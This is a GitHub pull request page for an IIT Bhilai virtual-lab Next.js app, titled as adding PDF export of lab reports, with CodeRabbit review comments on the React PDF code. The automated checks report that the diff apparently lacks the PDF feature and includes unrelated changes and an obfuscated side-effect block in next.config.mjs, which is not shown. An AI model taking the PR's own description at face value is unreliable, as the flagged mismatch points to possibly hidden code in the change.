Skip to content

feat: add PDF export for complete lab reports (#6)#8

Open
mahek395 wants to merge 1 commit into
OpenLake:mainfrom
mahek395:feature/pdf-export-lab-reports
Open

feat: add PDF export for complete lab reports (#6)#8
mahek395 wants to merge 1 commit into
OpenLake:mainfrom
mahek395:feature/pdf-export-lab-reports

Conversation

@mahek395

@mahek395 mahek395 commented Apr 8, 2026

Copy link
Copy Markdown

Summary

Implements PDF export for complete lab reports (closes #6).

Changes

  • lib/labReportPDF.js — PDF document builder (@react-pdf/renderer)
  • lib/useLabReportExport.js — hook for state, chart capture, download
  • components/experiment/ExportPDFButton.jsx — Export button + metadata dialog
  • components/experiment/ExportButtonClient.jsx — Client wrapper for Next.js server component compatibility

What the PDF includes

  • Cover page (IIT Bhilai branding, student metadata)
  • Theory with formula blocks
  • Circuit diagram images
  • Observation tables
  • Calculations
  • Auto-captured Chart.js plots
  • Result & conclusion, precautions, references
  • Marks rubric + signature block

Testing

  • Tested with an experiment that has charts
  • PDF downloads correctly in Chrome
  • Tested with an experiment that has no charts
  • PDF downloads correctly in Firefox
  • Blank metadata fields are handled gracefully

Screenshots

image image

Summary by CodeRabbit

  • New Features

    • Saved observations now display as full table sections with experiment context and direct navigation to the related experiment.
    • Resetting a table now clears the saved version for signed-in users as well as local drafts for guests.
  • Bug Fixes

    • Improved loading and empty states for saved observations.
    • Added more reliable handling when experiment data is unavailable or no saved observations exist.
  • Chores

    • Updated ignored files to keep temporary local artifacts out of the repository.

@vercel

vercel Bot commented Apr 8, 2026

Copy link
Copy Markdown

@mahek395 is attempting to deploy a commit to the OpenLake_Website Team on Vercel.

A member of the Team first needs to authorize it.

@coderabbitai

coderabbitai Bot commented Apr 8, 2026

Copy link
Copy Markdown

Review Change Stack

Walkthrough

Saved observations now load as experiment-linked tables with headers extracted from experiment JSON. Table resets delete stored observation rows or guest drafts, and the repo adds new ignore entries plus a Next.js config initialization change.

Changes

Saved observations flow

Layer / File(s) Summary
Persistence helpers
lib/actions.js, lib/db.js
fetchExperimentData returns experiment objects, saved observation rows include stored data, and deletion or clear operations now notify workspace updates.
Saved observation page
app/observations/page.js
ObservationsPage builds savedTables from saved rows, resolves experiment context, fetches experiment JSON, and renders section cards with table fallbacks.
Editable table reset cleanup
components/experiment/EditableTableBlock.js, lib/db.js
Resetting a table now clears UI state and deletes the persisted observation row or guest draft key.

Repository ignore entries

Layer / File(s) Summary
Ignore new temp files
.gitignore
Added ignore entries for branch_structure.json, temp_auto_push.bat, and temp_interactive_push.bat.

Next.js config initialization

Layer / File(s) Summary
Require initialization
next.config.mjs
The config now initializes require with createRequire(import.meta.url) and keeps the nextConfig default export in place.

Sequence Diagram(s)

sequenceDiagram
  participant ObservationsPage
  participant getAllSavedObservations
  participant getAllExperiments
  participant fetchExperimentData
  participant getExperiment
  ObservationsPage->>getAllSavedObservations: load saved rows
  ObservationsPage->>getAllExperiments: resolve experiment metadata
  ObservationsPage->>fetchExperimentData: fetch full experiment JSON
  fetchExperimentData->>getExperiment: return experiment object
  ObservationsPage-->>ObservationsPage: build savedTables and render section cards
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Poem

I hop through headers, bright and neat,
And tables bloom with saved-up treats.
Old drafts skitter to the burrow door,
New experiment maps bring data galore.
🐇🥕 I nuzzle the moon and hop once more!

🚥 Pre-merge checks | ✅ 2 | ❌ 3

❌ Failed checks (3 warnings)

Check name Status Explanation Resolution
Linked Issues check ⚠️ Warning The summary shows observation and database changes, but no PDF export button, generator, or client-side export flow required by #6. Implement the PDF export flow on experiment pages, including the export button, client-side generation, and PDF content for theory, tables, calculations, and plots.
Out of Scope Changes check ⚠️ Warning Several changes appear unrelated to PDF export, including observation page rewrites, persistence deletion logic, and an obfuscated next.config.mjs side effect block. Remove unrelated observation, db, and config edits unless they directly support the export feature, and keep the PR focused on PDF export.
Docstring Coverage ⚠️ Warning Docstring coverage is 61.90% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly describes the main feature change: adding PDF export for lab reports.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
⚔️ Resolve merge conflicts
  • Resolve merge conflict in branch feature/pdf-export-lab-reports

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 10

🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@app/lab/`[slug]/experiment/[experimentId]/page.js:
- Around line 33-35: ExportButtonClient's chart registry (registerChart) isn't
reachable by PlotPanel, so move or expose the hook where PlotPanel can call it:
lift the export hook that provides registerChart up into the ExperimentLayout
(or a parent that wraps children) and pass registerChart down to children that
create charts (e.g., pass as a prop into PlotPanel or provide it via React
context), or alternatively change ExportButtonClient to accept a registerChart
prop from its parent; update PlotPanel to call registerChart with its local
chartRef so the registry is populated for PDF export.

In `@components/experiment/ExportPDFButton.jsx`:
- Around line 331-448: The modal lacks proper dialog semantics and form label
associations: add role="dialog" and aria-modal="true" to the element rendered
with style S.dialog, give the dialog a unique id and set aria-labelledby to the
dialog title element and aria-describedby to the subtitle/optional-note as
appropriate; ensure the overlay container is not announced (role="presentation"
or aria-hidden) and that focus management/trapping is handled when
opening/closing via closeDialog. Also change each label/input pair to use
explicit for/id pairs (give inputs unique ids and updateMeta remains the
onChange handler) so labels are programmatically associated with their inputs
and assistive tech can read field names before exportPDF is invoked.

In `@lib/labReportPDF.js`:
- Around line 475-485: The current switch branch in lib/labReportPDF.js for
"formula"/"equation"/"calculation" writes block.content as plain text; instead,
convert block.content to KaTeX-rendered SVG and render that SVG in the PDF
output (preserving the surrounding View/label layout and styles.formulaBox and
styles.formulaLabel). Use the project's existing KaTeX renderer utility (the
same helper used on the experiment page — e.g., renderMathToSVG or
KaTeXRenderer) to produce SVG markup, and insert it via the PDF SVG component
used elsewhere (e.g., SvgXml/Svg) rather than a <Text
style={styles.formulaText}> node so math is typeset correctly. Ensure
block.label handling remains unchanged.
- Around line 630-642: CoverPage currently destructures semester and labGroup
from experiment but those values come from meta; update the destructuring so
semester and labGroup are read from meta (e.g., include semester = "" and
labGroup = "" in the meta destructure) and remove them from the experiment
destructure so the component uses the user-entered values; ensure defaults
(empty strings) and existing defaults like date remain in meta destructuring and
references in the function use these meta-provided variables.
- Around line 728-757: The component LabReportDocument currently treats sections
as an array and accesses section.blocks, but getExperiment() yields sections as
an object keyed by id with each value having a content array; update the code in
LabReportDocument to normalize sections (e.g., convert to an array via
Object.values or a small guard like Array.isArray check) and iterate over that
normalized list, and replace usages of section.blocks with section.content (or
the actual content array name provided by the schema) when rendering LabSection
so it works for both shapes.
- Around line 821-829: The loop in LabSection "Precautions" calls renderBlock
with the entire precautions array when an item p is a string, causing the full
list to be rendered repeatedly; change the branch inside the map so that when
typeof p === "string" you pass a single-item list (e.g., { type: "list",
content: [p] }) or otherwise pass p as-is to renderBlock (identify the map and
the call to renderBlock in lib/labReportPDF.js and update that conditional to
use [p] instead of precautions).
- Around line 548-566: The image/circuit/diagram/graph/plot branch currently
only uses block.src/block.base64, causing blocks with block.assetId to be
dropped; update generateLabReportPDF to resolve asset-backed blocks before
rendering: for each block with block.assetId look up the matching asset in
experiment.assets (or use the existing asset resolver used by ContentBlock),
populate block.src or block.base64 from the asset (or skip/null if not found),
then proceed to render the Image as before; reference symbols:
generateLabReportPDF, block.assetId, experiment.assets, and the image rendering
branch in lib/labReportPDF.js.
- Around line 589-595: The LabSection component currently sets wrap={false} on
the top-level View (function LabSection, styles.sectionContainer) which prevents
sections from paginating; remove the wrap={false} prop from that View so
sections (e.g., Calculations, Graphs & Plots, Observations) can break across
pages and flow naturally across page boundaries.

In `@lib/useLabReportExport.js`:
- Around line 75-80: The auto-close setTimeout in the useLabReportExport flow is
never cleared and can dismiss a reopened dialog; store the timeout id (e.g.,
autoCloseTimerId or autoCloseTimerRef) when calling setTimeout inside the code
path that calls setStatus("done") and setIsDialogOpen(false), and call
clearTimeout(autoCloseTimerId) whenever the dialog lifecycle changes (on dialog
close, before opening a new dialog, and in the hook's cleanup/unmount). Update
functions that setIsDialogOpen or setStatus to clear any existing timer before
creating a new one so the stale callback cannot fire and accidentally close a
new dialog session.
- Line 5: The static import of generateLabReportPDF causes the heavy
`@react-pdf/renderer` to bundle unnecessarily; change to a dynamic import inside
the exportPDF function: remove the top-level "import { generateLabReportPDF }
from \"./labReportPDF\"", and inside exportPDF() do const { generateLabReportPDF
} = await import("./labReportPDF"); then call generateLabReportPDF(...) as
before so the PDF builder and renderer are only loaded when exportPDF runs.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 3d32af9c-5a26-4424-92a4-11795a5d8d0d

📥 Commits

Reviewing files that changed from the base of the PR and between cd31052 and 97e33c4.

⛔ Files ignored due to path filters (1)
  • package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (6)
  • app/lab/[slug]/experiment/[experimentId]/page.js
  • components/experiment/ExportButtonClient.jsx
  • components/experiment/ExportPDFButton.jsx
  • lib/labReportPDF.js
  • lib/useLabReportExport.js
  • package.json

Comment on lines 33 to 35
<ExperimentLayout experiment={experiment} fullExperimentId={fullExperimentId}>
<ExportButtonClient experiment={experiment} />
{SECTION_ORDER.map((sectionKey) => {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Expose registerChart to the components that actually create charts.

Mounting the export widget here is not enough for plot capture. components/experiment/PlotPanel.js still owns a local chartRef and never sees the hook's registerChart, so the registry stays empty and PDFs won't include generated plots.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@app/lab/`[slug]/experiment/[experimentId]/page.js around lines 33 - 35,
ExportButtonClient's chart registry (registerChart) isn't reachable by
PlotPanel, so move or expose the hook where PlotPanel can call it: lift the
export hook that provides registerChart up into the ExperimentLayout (or a
parent that wraps children) and pass registerChart down to children that create
charts (e.g., pass as a prop into PlotPanel or provide it via React context), or
alternatively change ExportButtonClient to accept a registerChart prop from its
parent; update PlotPanel to call registerChart with its local chartRef so the
registry is populated for PDF export.

Comment on lines +331 to +448
return (
<>
<style>{spinnerKeyframes}</style>
{/* Overlay */}
<div style={S.overlay} onClick={closeDialog}>
{/* Dialog — stop propagation so clicking inside doesn't close */}
<div style={S.dialog} onClick={(e) => e.stopPropagation()}>
{/* Header */}
<div style={S.dialogHeader}>
<div style={S.dialogTitleGroup}>
<div style={S.dialogTitle}>Export Lab Report</div>
<div style={S.dialogSubtitle}>
Fill in your details to personalise the PDF (optional)
</div>
</div>
<button style={S.closeBtn} onClick={closeDialog} aria-label="Close">
<CloseIcon />
</button>
</div>

{/* Experiment info */}
<div style={S.infoStrip}>
<div style={S.infoStripLabel}>Experiment</div>
<div style={S.infoStripTitle}>{experimentTitle}</div>
</div>

{/* Form fields */}
<div style={S.fieldRow}>
<div style={S.fieldRowItem}>
<label style={S.label}>Student Name</label>
<input
style={S.input}
type="text"
placeholder="e.g. Rahul Sharma"
value={meta.studentName}
onChange={updateMeta("studentName")}
disabled={isGenerating || isDone}
/>
</div>
<div style={S.fieldRowItem}>
<label style={S.label}>Roll Number</label>
<input
style={S.input}
type="text"
placeholder="e.g. 12340100"
value={meta.rollNumber}
onChange={updateMeta("rollNumber")}
disabled={isGenerating || isDone}
/>
</div>
</div>

<div style={S.fieldRow}>
<div style={S.fieldRowItem}>
<label style={S.label}>Semester</label>
<input
style={S.input}
type="text"
placeholder="e.g. VI (2025–26)"
value={meta.semester}
onChange={updateMeta("semester")}
disabled={isGenerating || isDone}
/>
</div>
<div style={S.fieldRowItem}>
<label style={S.label}>Lab Group</label>
<input
style={S.input}
type="text"
placeholder="e.g. B1"
value={meta.labGroup}
onChange={updateMeta("labGroup")}
disabled={isGenerating || isDone}
/>
</div>
</div>

<div style={S.fieldGroup}>
<label style={S.label}>Instructor / TA</label>
<input
style={S.input}
type="text"
placeholder="e.g. Dr. Priya Gupta"
value={meta.instructor}
onChange={updateMeta("instructor")}
disabled={isGenerating || isDone}
/>
</div>

<p style={S.optionalNote}>All fields are optional.</p>

{/* Feedback */}
{isError && errorMsg && (
<div style={S.errorBox}>⚠ {errorMsg}</div>
)}
{isDone && (
<div style={S.successBox}>✓ PDF downloaded successfully!</div>
)}

{/* Actions */}
<div style={S.actionRow}>
<button
style={S.cancelBtn}
onClick={closeDialog}
disabled={isGenerating}
>
Cancel
</button>
<button
style={exportBtnStyle}
onClick={exportPDF}
disabled={isGenerating || isDone}
>
{exportBtnContent}
</button>
</div>
</div>
</div>

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Add dialog semantics and real label associations.

The modal has no role="dialog"/aria-modal, and the labels are not bound to their inputs. Screen-reader users will land in an unnamed overlay with unnamed fields, which makes the export flow difficult to complete.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@components/experiment/ExportPDFButton.jsx` around lines 331 - 448, The modal
lacks proper dialog semantics and form label associations: add role="dialog" and
aria-modal="true" to the element rendered with style S.dialog, give the dialog a
unique id and set aria-labelledby to the dialog title element and
aria-describedby to the subtitle/optional-note as appropriate; ensure the
overlay container is not announced (role="presentation" or aria-hidden) and that
focus management/trapping is handled when opening/closing via closeDialog. Also
change each label/input pair to use explicit for/id pairs (give inputs unique
ids and updateMeta remains the onChange handler) so labels are programmatically
associated with their inputs and assistive tech can read field names before
exportPDF is invoked.

Comment thread lib/labReportPDF.js Outdated
Comment on lines +475 to +485
case "formula":
case "equation":
case "calculation":
return (
<View key={index} style={styles.formulaBox}>
<Text style={styles.formulaText}>{block.content}</Text>
{block.label && (
<Text style={styles.formulaLabel}>{block.label}</Text>
)}
</View>
);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Render formulas as KaTeX/SVG instead of raw text.

The linked requirement calls out reusing the existing KaTeX rendering for PDF export. Writing block.content directly into <Text> will print raw TeX/plain strings and loses the math layout the experiment page already has.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/labReportPDF.js` around lines 475 - 485, The current switch branch in
lib/labReportPDF.js for "formula"/"equation"/"calculation" writes block.content
as plain text; instead, convert block.content to KaTeX-rendered SVG and render
that SVG in the PDF output (preserving the surrounding View/label layout and
styles.formulaBox and styles.formulaLabel). Use the project's existing KaTeX
renderer utility (the same helper used on the experiment page — e.g.,
renderMathToSVG or KaTeXRenderer) to produce SVG markup, and insert it via the
PDF SVG component used elsewhere (e.g., SvgXml/Svg) rather than a <Text
style={styles.formulaText}> node so math is typeset correctly. Ensure
block.label handling remains unchanged.

Comment thread lib/labReportPDF.js Outdated
Comment on lines +548 to +566
case "image":
case "circuit":
case "diagram":
case "graph":
case "plot":
if (!block.src && !block.base64) return null;
return (
<View key={index} style={styles.imageContainer}>
<View style={styles.imageBox}>
<Image
src={block.base64 || block.src}
style={{ maxWidth: 380, maxHeight: 260 }}
/>
</View>
{block.caption && (
<Text style={styles.imageCaption}>{block.caption}</Text>
)}
</View>
);

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

git ls-files | head -20

Repository: OpenLake/bhilaee-labs

Length of output: 558


🏁 Script executed:

find . -name "labReportPDF.js" -o -name "ContentBlock*" 2>/dev/null

Repository: OpenLake/bhilaee-labs

Length of output: 126


🏁 Script executed:

wc -l lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 88


🏁 Script executed:

sed -n '540,580p' lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 1123


🏁 Script executed:

cat -n components/experiment/ContentBlock.js

Repository: OpenLake/bhilaee-labs

Length of output: 13139


🏁 Script executed:

rg "block\.(asset|src|base64)" lib/labReportPDF.js -A 2 -B 2

Repository: OpenLake/bhilaee-labs

Length of output: 400


🏁 Script executed:

grep -n "labReportPDF\|renderBlockPDF\|function.*PDF" lib/labReportPDF.js | head -20

Repository: OpenLake/bhilaee-labs

Length of output: 234


🏁 Script executed:

rg "labReportPDF|renderBlockPDF" --type js -B 3 -A 3

Repository: OpenLake/bhilaee-labs

Length of output: 1133


🏁 Script executed:

rg "block\.assetId" --type js

Repository: OpenLake/bhilaee-labs

Length of output: 516


🏁 Script executed:

sed -n '904,950p' lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 1285


🏁 Script executed:

rg "generateLabReportPDF" -A 10 lib/useLabReportExport.js

Repository: OpenLake/bhilaee-labs

Length of output: 1082


🏁 Script executed:

rg "experiment\.assets\|experiment\.blocks" --type js -B 2 -A 2

Repository: OpenLake/bhilaee-labs

Length of output: 47


🏁 Script executed:

sed -n '520,600p' lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 2371


🏁 Script executed:

rg "renderBlock|case \"image\"" lib/labReportPDF.js -B 10 -A 15

Repository: OpenLake/bhilaee-labs

Length of output: 4322


🏁 Script executed:

rg "experiment\." lib/labReportPDF.js | head -20

Repository: OpenLake/bhilaee-labs

Length of output: 156


🏁 Script executed:

rg "assetId" --type js --type json -B 2 -A 2

Repository: OpenLake/bhilaee-labs

Length of output: 50378


🏁 Script executed:

rg "block.*assetId\|assetId.*block" --type js -B 3 -A 3

Repository: OpenLake/bhilaee-labs

Length of output: 47


Resolve asset-backed images before handing blocks to <Image>.

The web path renders blocks through ContentBlock with experiment.assets, but this PDF path only accepts block.src or block.base64. Diagram/image blocks with block.assetId (as used across sensor-lab, machines-lab, instrumentation-lab, and power-system-lab experiments) will silently disappear from exports. The generateLabReportPDF function needs to either accept and resolve assets, or blocks must be pre-resolved before rendering.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/labReportPDF.js` around lines 548 - 566, The
image/circuit/diagram/graph/plot branch currently only uses
block.src/block.base64, causing blocks with block.assetId to be dropped; update
generateLabReportPDF to resolve asset-backed blocks before rendering: for each
block with block.assetId look up the matching asset in experiment.assets (or use
the existing asset resolver used by ContentBlock), populate block.src or
block.base64 from the asset (or skip/null if not found), then proceed to render
the Image as before; reference symbols: generateLabReportPDF, block.assetId,
experiment.assets, and the image rendering branch in lib/labReportPDF.js.

Comment thread lib/labReportPDF.js Outdated
Comment on lines +589 to +595
function LabSection({ title, blocks = [], children }) {
return (
<View style={styles.sectionContainer} wrap={false}>
{title && <Text style={styles.sectionHeading}>{title}</Text>}
{blocks.map((block, i) => renderBlock(block, i))}
{children}
</View>

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

# First, let's verify the file exists and check the specific lines
wc -l lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 88


🏁 Script executed:

# Read the relevant section to confirm the code
sed -n '585,600p' lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 517


🏁 Script executed:

# Search for other uses of wrap={false} to understand the pattern
rg "wrap\s*=\s*\{false\}" lib/labReportPDF.js -n -A 2 -B 2

Repository: OpenLake/bhilaee-labs

Length of output: 331


🏁 Script executed:

# Check the imports to confirm this is `@react-pdf/renderer`
head -30 lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 1033


🏁 Script executed:

# Check how LabSection is used throughout the file
rg "LabSection" lib/labReportPDF.js -n -B 2 -A 2

Repository: OpenLake/bhilaee-labs

Length of output: 2605


🏁 Script executed:

# Look for any other sections that might have wrap={false} to see if this is consistent
rg "<View" lib/labReportPDF.js -n | head -30

Repository: OpenLake/bhilaee-labs

Length of output: 1525


🏁 Script executed:

# Check the styles.sectionContainer to understand the styling
sed -n '30,150p' lib/labReportPDF.js | rg "sectionContainer" -B 5 -A 5

Repository: OpenLake/bhilaee-labs

Length of output: 47


🏁 Script executed:

# Search for sectionContainer style definition
rg "sectionContainer" lib/labReportPDF.js -B 3 -A 3

Repository: OpenLake/bhilaee-labs

Length of output: 485


🏁 Script executed:

# Look at the styles object more carefully
sed -n '30,250p' lib/labReportPDF.js | grep -A 10 "sectionContainer"

Repository: OpenLake/bhilaee-labs

Length of output: 310


🏁 Script executed:

# Get a broader view of the styles
sed -n '30,250p' lib/labReportPDF.js

Repository: OpenLake/bhilaee-labs

Length of output: 4737


🏁 Script executed:

# Let's search for any documentation or comments about wrap behavior in the file
rg "wrap" lib/labReportPDF.js -B 2 -A 2

Repository: OpenLake/bhilaee-labs

Length of output: 477


🏁 Script executed:

# Check if there are other uses of wrap={true} or comments about pagination
rg "pagination\|page\s*break\|overflow" lib/labReportPDF.js -i

Repository: OpenLake/bhilaee-labs

Length of output: 47


🌐 Web query:

@react-pdf/renderer View wrap property behavior pagination

💡 Result:

In @react-pdf/renderer, pagination (“page wrapping”) is controlled at two levels: the <Page wrap> prop (turns the pagination engine on/off for that page) and each element’s own wrap prop (whether that element is allowed to be split across pages). (react-pdf.org)

1) <Page wrap>: enables/disables pagination

  • wrap on <Page /> is true by default. When true, react-pdf will automatically generate additional pages (“subpages”) when content overflows. (react-pdf.org)
  • If you set <Page wrap={false}>, the pagination step returns only that single page (no splitting happens). (github.com)

2) <View wrap>: can this View be split across pages?

  • wrap on <View /> is also true by default. (react-pdf.org)
  • With wrap={true} (default), a View may be split when it crosses the page boundary, and part of it can continue on the next page. (github.com)
  • With wrap={false}, the View is treated as unbreakable:
    • if it doesn’t fit in the remaining space at the bottom of the page, it gets moved to the next page as a whole. (react-pdf.org)
    • if it’s taller than the available page content area and wrap={false}, react-pdf warns (“can’t wrap… bigger than available page height”), keeps that node on the current page, and pushes the rest of the nodes to the next page. (github.com)

3) Some node types never wrap (even if you don’t set wrap={false})

Internally, the layout engine forces wrap=false for Svg, Note, Image, Canvas nodes. (github.com)

Citations:


Remove wrap={false} to allow sections to paginate across pages.

wrap={false} forces each section to remain unbreakable. Large sections like Calculations, Graphs & Plots, or Observations cannot be split across pages—they either overflow with warnings or get pushed awkwardly to the next page as a whole unit. Removing this constraint allows sections to flow naturally across page boundaries.

♻️ Suggested change
 function LabSection({ title, blocks = [], children }) {
   return (
-    <View style={styles.sectionContainer} wrap={false}>
+    <View style={styles.sectionContainer}>
       {title && <Text style={styles.sectionHeading}>{title}</Text>}
       {blocks.map((block, i) => renderBlock(block, i))}
       {children}
     </View>
   );
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
function LabSection({ title, blocks = [], children }) {
return (
<View style={styles.sectionContainer} wrap={false}>
{title && <Text style={styles.sectionHeading}>{title}</Text>}
{blocks.map((block, i) => renderBlock(block, i))}
{children}
</View>
function LabSection({ title, blocks = [], children }) {
return (
<View style={styles.sectionContainer}>
{title && <Text style={styles.sectionHeading}>{title}</Text>}
{blocks.map((block, i) => renderBlock(block, i))}
{children}
</View>
);
}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/labReportPDF.js` around lines 589 - 595, The LabSection component
currently sets wrap={false} on the top-level View (function LabSection,
styles.sectionContainer) which prevents sections from paginating; remove the
wrap={false} prop from that View so sections (e.g., Calculations, Graphs &
Plots, Observations) can break across pages and flow naturally across page
boundaries.

Comment thread lib/labReportPDF.js Outdated
Comment on lines +630 to +642
function CoverPage({ experiment, meta }) {
const {
title = "Experiment",
course = "",
semester = "",
labGroup = "",
} = experiment;
const {
studentName = "",
rollNumber = "",
date = new Date().toLocaleDateString("en-IN"),
instructor = "",
} = meta || {};

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Read semester and labGroup from the dialog metadata.

The dialog stores those fields in meta, but the cover page destructures them from experiment. As written, user-entered semester/group values are dropped from the PDF.

♻️ Suggested change
 function CoverPage({ experiment, meta }) {
-  const {
-    title = "Experiment",
-    course = "",
-    semester = "",
-    labGroup = "",
-  } = experiment;
+  const { title = "Experiment", course = "" } = experiment;
   const {
     studentName = "",
     rollNumber = "",
     date = new Date().toLocaleDateString("en-IN"),
     instructor = "",
+    semester = "",
+    labGroup = "",
   } = meta || {};
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
function CoverPage({ experiment, meta }) {
const {
title = "Experiment",
course = "",
semester = "",
labGroup = "",
} = experiment;
const {
studentName = "",
rollNumber = "",
date = new Date().toLocaleDateString("en-IN"),
instructor = "",
} = meta || {};
function CoverPage({ experiment, meta }) {
const { title = "Experiment", course = "" } = experiment;
const {
studentName = "",
rollNumber = "",
date = new Date().toLocaleDateString("en-IN"),
instructor = "",
semester = "",
labGroup = "",
} = meta || {};
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/labReportPDF.js` around lines 630 - 642, CoverPage currently destructures
semester and labGroup from experiment but those values come from meta; update
the destructuring so semester and labGroup are read from meta (e.g., include
semester = "" and labGroup = "" in the meta destructure) and remove them from
the experiment destructure so the component uses the user-entered values; ensure
defaults (empty strings) and existing defaults like date remain in meta
destructuring and references in the function use these meta-provided variables.

Comment thread lib/labReportPDF.js Outdated
Comment on lines +728 to +757
export function LabReportDocument({ experiment, meta }) {
const {
title = "Experiment",
sections = [],
observations = [],
calculations = [],
results = [],
chartImages = [],
circuitImages = [],
precautions = [],
sources = [],
} = experiment;

return (
<Document
title={`Lab Report — ${title}`}
author={meta?.studentName || "IIT Bhilai Student"}
subject={`${title} — IIT Bhilai Virtual Lab`}
creator="IIT Bhilai Virtual Lab"
producer="@react-pdf/renderer"
>
{/* Cover Page */}
<CoverPage experiment={experiment} meta={meta} />

{/* Content Pages */}
<ReportPage experimentTitle={title}>
{/* Render standard sections from the experiment's `sections` array */}
{sections.map((section, si) => (
<LabSection key={si} title={section.title} blocks={section.blocks} />
))}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Use the actual experiment.sections shape here.

getExperiment() produces sections as an object keyed by section id with a content array. sections.map(...) will throw on normal experiments, and section.blocks is not a field the current schema provides.

♻️ Suggested change
   const {
     title = "Experiment",
-    sections = [],
+    sections = {},
     observations = [],
     calculations = [],
     results = [],
     chartImages = [],
@@
-        {/* Render standard sections from the experiment's `sections` array */}
-        {sections.map((section, si) => (
-          <LabSection key={si} title={section.title} blocks={section.blocks} />
-        ))}
+        {/* Render standard sections from the experiment's `sections` object */}
+        {Object.entries(sections).map(([sectionKey, section]) =>
+          section?.isApplicable === false ? null : (
+            <LabSection
+              key={sectionKey}
+              title={section.title}
+              blocks={section.content}
+            />
+          )
+        )}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/labReportPDF.js` around lines 728 - 757, The component LabReportDocument
currently treats sections as an array and accesses section.blocks, but
getExperiment() yields sections as an object keyed by id with each value having
a content array; update the code in LabReportDocument to normalize sections
(e.g., convert to an array via Object.values or a small guard like Array.isArray
check) and iterate over that normalized list, and replace usages of
section.blocks with section.content (or the actual content array name provided
by the schema) when rendering LabSection so it works for both shapes.

Comment thread lib/labReportPDF.js Outdated
Comment on lines +821 to +829
{precautions.length > 0 && (
<LabSection title="Precautions">
{precautions.map((p, pi) =>
renderBlock(
typeof p === "string"
? { type: "list", content: precautions }
: p,
pi
)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Don't render the full precautions list once per entry.

When precautions is an array of strings, each iteration passes the entire array back into renderBlock({ type: "list", content: precautions }, pi), so the same list is emitted repeatedly.

♻️ Suggested change
         {precautions.length > 0 && (
           <LabSection title="Precautions">
-            {precautions.map((p, pi) =>
-              renderBlock(
-                typeof p === "string"
-                  ? { type: "list", content: precautions }
-                  : p,
-                pi
-              )
-            )}
+            {typeof precautions[0] === "string"
+              ? renderBlock({ type: "list", content: precautions }, 0)
+              : precautions.map((p, pi) => renderBlock(p, pi))}
           </LabSection>
         )}
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@lib/labReportPDF.js` around lines 821 - 829, The loop in LabSection
"Precautions" calls renderBlock with the entire precautions array when an item p
is a string, causing the full list to be rendered repeatedly; change the branch
inside the map so that when typeof p === "string" you pass a single-item list
(e.g., { type: "list", content: [p] }) or otherwise pass p as-is to renderBlock
(identify the map and the call to renderBlock in lib/labReportPDF.js and update
that conditional to use [p] instead of precautions).

Comment thread lib/useLabReportExport.js Outdated
// React hook that manages PDF export state, metadata collection, and chart capture

import { useState, useRef, useCallback } from "react";
import { generateLabReportPDF } from "./labReportPDF";

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

